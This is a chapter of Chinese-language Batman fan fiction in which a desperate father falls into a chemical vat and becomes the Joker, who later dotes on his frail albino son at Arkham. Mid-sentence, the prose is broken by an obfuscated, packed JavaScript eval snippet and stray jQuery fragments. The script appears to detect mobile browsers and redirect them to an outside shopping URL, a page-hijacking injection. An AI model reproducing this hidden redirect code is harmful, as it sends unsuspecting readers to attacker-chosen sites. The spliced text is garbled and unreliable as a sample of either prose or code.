哥谭的雨，是整座城市溃烂的腺体分泌出的、带着铁锈与氨水气味的分泌物。这寒冬的暴雨将天空与大地焊接成一口巨大的铅灰色容器，把高耸的烟囱、盘曲的管道、还有蝼蚁般的人生，一股脑儿地煮沸在里面。


    杰克·杰克逊在化工厂交错的管道和钢架间奔跑，他用身体撞开雨幕，廉价的西装此刻吸饱了雨水，沉得像一副铁铸的枷锁，靴底在湿滑的铁板上打滑，他死死护住胸前鼓囊囊的内袋，那里装着刚刚拿到的三个月薪水。


    雨水顺着前襟往下淌，但他却在笑。不是日后那种撕裂耳膜的癫狂大笑，而是一个二十七岁男人疲惫又明亮的笑容。


    “够用了，”他喘着气对自己说，“乔伊下个疗程的药钱，还有那本绘本……该死，那绘本叫什么来着？《月亮上的兔子》？不管了，买，都买。”


    他的儿子乔舒亚，他们叫他乔伊，那孩子三天前在诊所里拉着他的手指，那双浅蓝色玻璃珠似的眼睛在昏暗光线下几乎透明。


    “爸爸，护士小姐说月亮上其实没有兔子。”


    “那护士小姐一定没去过月亮。”杰克当时蹲在病床边，用额头轻贴儿子冰凉的额头，“等你好了，爸爸带你去看看。我们坐大火箭去。”


    “可是爸爸，”五岁的乔伊小声说，“我的眼睛怕光。月亮很亮吧？”


    乔伊那双过分清澈的眼睛望着他，里面倒映着病房顶灯惨白的光，和他自己缩小的、疲惫的面容。


    杰克没回答，只是紧紧抱住儿子轻得像羽毛的身体。他抱得那么紧，仿佛要用自己骨骼的形状，为他拓印出一个抵御一切伤害的模具。


    白化病、光敏症、先天性心肌缺陷……诊断书上的每一个词都像铅块压在他胸口。它们像是有生命的藤蔓，从诊断书里蔓延出来，缠绕着乔伊，也缠绕着他，日夜不息地勒紧。它们偷走孩子皮肤的颜色，剥夺他在阳光下奔跑的权利，现在，连凝视月亮的幻想都要夺走。


    但今晚不一样，今晚他怀里的钱能换来三个月的时间，三个月里乔伊不用痛，可以多看看绘本，哪怕每次只能看十分钟。


    “杰克！这边！”


    化工厂废弃区边缘，□□的人站在生锈的货运电梯旁挥手。丹尼，杰克记得他叫丹尼，一个总在嚼口香糖的年轻人。另外两个人在阴影里，看不清脸。


    杰克跑过去，雨水模糊了视线：“钱我拿到了，药什么时候——”


    “不急。”丹尼吐掉口香糖，笑了，那笑容让杰克脊背发凉，“先告诉你个消息，杰克。你老婆，凯特……今天下午在街上被人捅了，大出血，没救回来。”


    世界静了一秒。


    只有雨声，永不停歇的哥谭雨声。


    “什么？”杰克听见自己的声音从很远的地方传来。


    “哦，往好处想想，虽然你老婆死了，但你还剩了个儿子不是吗。”不过紧接着他就露出一个恶意的笑容，“听说你那儿子是个病秧子，养起来得花不少钱吧。”


    丹尼走近一步，拍了拍他僵硬的脸颊，“所以你看，药钱也没必要了。你一个人养不活那病孩子的，早点送孤儿院对谁都好。钱呢？拿来吧。”


    杰克往后退了两步，脚跟撞到松动的铁丝网。他身后是化工厂最深的废料池，泛着荧绿和暗紫色的化学物质在池面缓慢旋转，蒸腾起刺鼻的雾气。


    “不，”他嘶哑地说，“乔伊需要药，凯特……凯特需要葬礼……”


    “葬礼？”阴影里走出一人，是□□的小头目马洛，他手里把玩着一把弹簧刀，“杰克，你知道规矩。任务失败了——”


    “我没失败！我运的货都——”


    “你老婆死了，这就是失败。”马洛用刀尖指了指他胸口，“钱拿来，自己跳下去，省得我们动手。你儿子我们会“安排”的。”


    杰克终于听懂了。


    不是意外，这是一个设计好的结局，从他为了医药费点头加入的那天起，就写好的结局。


    他看向废料池，又看向怀里。内袋里除了钱，还有一瓶今天刚从黑市买到的进口药，玻璃瓶贴着德文标签。


    他的乔伊还在等着这瓶药。


    雨变得更大了，闪电在天际划过，照亮了杰克隐在暗处的半张脸。


    “好吧。”杰克听见自己说。他伸手进内袋，却不是掏钱，而是握住那瓶药，用掌心温暖它。


    然后他转身，朝着废料池边缘狂奔。


    “抓住他！”


    枪声响起，子弹擦过耳际。杰克冲上池边那道狭窄的钢架，那是过去用来搅拌废料的机械臂残骸，锈蚀得只剩骨架。


    杰克跑到钢架尽头，下面是沸腾的化学深渊。


    马洛和丹尼追到钢架起点被迫停住了。钢架太窄，站不下更多人。


    “杰克，”马洛举着枪，语气像在安抚发狂的动物，“下来。钱我们不要了，你儿子我们也会送去好人家。我保证。”


    杰克低头看着池面。荧绿色的液体倒映出他此刻的脸。


    被雨水浸透的棕色头发贴在额上，眼睛因恐惧和绝望睁大，嘴角却不受控制地向上扯。


    他在笑。


    为什么在笑？


    “乔伊，”他轻声说，“爸爸马上回家。”


    然后他向后倒去。


    坠落的过程被拉得很长，他看见钢架上马洛惊愕的脸，看见哥谭猩红色的夜空，看见远处韦恩大厦顶端的灯光。


    化学药剂刺鼻的气味淹没了他，但在意识被灼烧感吞噬的前一刻，他蜷缩起了身体，双手紧紧护住胸口，护住那瓶贴着德文标签的药。


    ——————


    阿卡姆疯人院顶层的特殊生活区没有窗户。


    准确地说，有窗，但玻璃是特制的三层防紫外线镀膜，从外面看是镜子，从里面看是柔和的乳白色光晕。阳光经过过滤后洒进来，变成适合晨间阅读的温和亮度。


    乔伊·杰克逊在柔软的羽绒被里动了动，雪白色的睫毛颤了几下，缓缓睁开。


    浅蓝色的虹膜在过滤后的阳光下依然清澈得像冬日湖面，瞳孔因畏光而微微收缩。他撑起身，过肩的白色长发从肩头滑落，发丝细软得仿佛一碰就会断。


    “乔伊小宝贝醒啦？”


    哈莉·奎茵的声音从门口飘进来，伴随着轻快的脚步声。她今天穿着红蓝配色的毛衣手里端着一个托盘。


    “哈莉阿姨，早安。”乔伊的声音带着刚睡醒的柔软沙哑。


    他接过哈莉递来的温水杯，指尖碰到她手腕上的皮革铆钉护腕，冰凉凉的。


    “睡得好吗？小南瓜昨晚做噩梦没？”哈莉坐在床边，动作自然地拿起梳子，开始梳理乔伊早


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456993|201237||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起有些打结的头发。


    她的动作极其轻柔，每次碰到发尾分叉处都会停一下，“哦，又断了。你得补点维生素，我去跟艾薇说……”


    “我昨天晚上做了个梦，”乔伊小口喝水，整个人看上去柔软乖巧极了，像个任人摆弄的精致玩偶“梦见爸爸掉进一个绿色的湖里。”


    梳子的动作停了半秒。


    “然后呢？”哈莉的声音依旧轻快。


    “然后我把他拉上来了。”乔伊微微偏过头，浅蓝色的眼睛在略微有些昏暗的房间中泛着微弱的光，“我力气很大，是不是很奇怪？明明现实里连书都拿不久。”


    哈莉笑了，继续梳头：“不奇怪，我的小王子在梦里当然可以是超人。”


    门被推开，毒藤女帕米拉·艾斯利走进来，手里捧着一盆正在开花的植物。


    整个花盆里只有中间有一朵拳头大小的花，花朵是深红色的，此时花瓣正半拢在一起，就像是一颗心脏。


    “晨间治疗时间，”她的声音如藤蔓缠绕般慵懒，“哈莉，你昨晚是不是又偷偷给他吃糖了？我说过他的代谢系统——”


    “嘿！那就是就一小块巧克力而已！”


    “巧克力里有咖啡因，他的心脏受不了。”帕米拉把花盆放在床头柜上，花瓣在乔伊呼吸的节奏下开始抖动着微微开合，“这株“夜安”能调节室内含氧量，晚上会释放助眠孢子。比那些没用的小零食可管用多了。”


    乔伊伸出小手轻轻触碰了一下花瓣，指尖传来温热感和一阵奇异的脉动。


    “它活着。”


    “所有植物都活着，亲爱的。”帕米拉小心握住他苍白的手腕检查皮下血管的可见度，“今天脸色还行。黑面具送来的新药起作用了。”


    乔伊任由自己的手臂被帕米拉捏住检查，眼睛轻缓的眨了两下，“赛斯叔叔什么时候来的？我怎么没见到他？”


    “深夜，”哈莉抢答，“你睡着了，他留下药就走啦，说是有“生意”要谈。”她眨眨眼，“还给你带了小礼物哦。”


    礼物是一个纯黑色天鹅绒盒子，打开后里面是一副手工制作的防护眼镜。镜片是渐变色的，镜架轻盈得几乎没有重量，内侧用微小字体刻着：


    永远别让太阳伤害你。


    To Joey


    “他真贴心，”乔伊戴上眼镜，世界变成舒适的琥珀色，“请替我谢谢他。”


    “你自己谢吧，”门口传来低哑的声音，“他今晚还来。”


    乔伊抬头，笑容瞬间绽放在小脸上：“爸爸！”


    小丑站在门框的阴影里。


    七年过去了，化学池留下的印记从未褪去。


    惨白的皮肤，鲜红的嘴唇，翠绿得刺眼的头发。他穿着紫色西装，但今天外套纽扣扣错了，衬衫领口沾着一点不明的暗红色污渍。


    看见乔伊时，他脸上那种凝固般的癫狂表情融化了，变成一种近乎温柔的扭曲笑容。


    “我的小鸟醒啦，”小丑走进来，脚步悄无声息。哈莉和帕米拉默契地退开半步，给他让出空间，“睡得怎么样？有没有被外头的蝙蝠吵到？”


    乔伊歪头：“蝙蝠？”


    “哥谭特产，”小丑坐在了床边，冰冷的手指拂过儿子额前的碎发，“又黑又大，总在晚上到处乱飞，专抓不睡觉的小朋友。”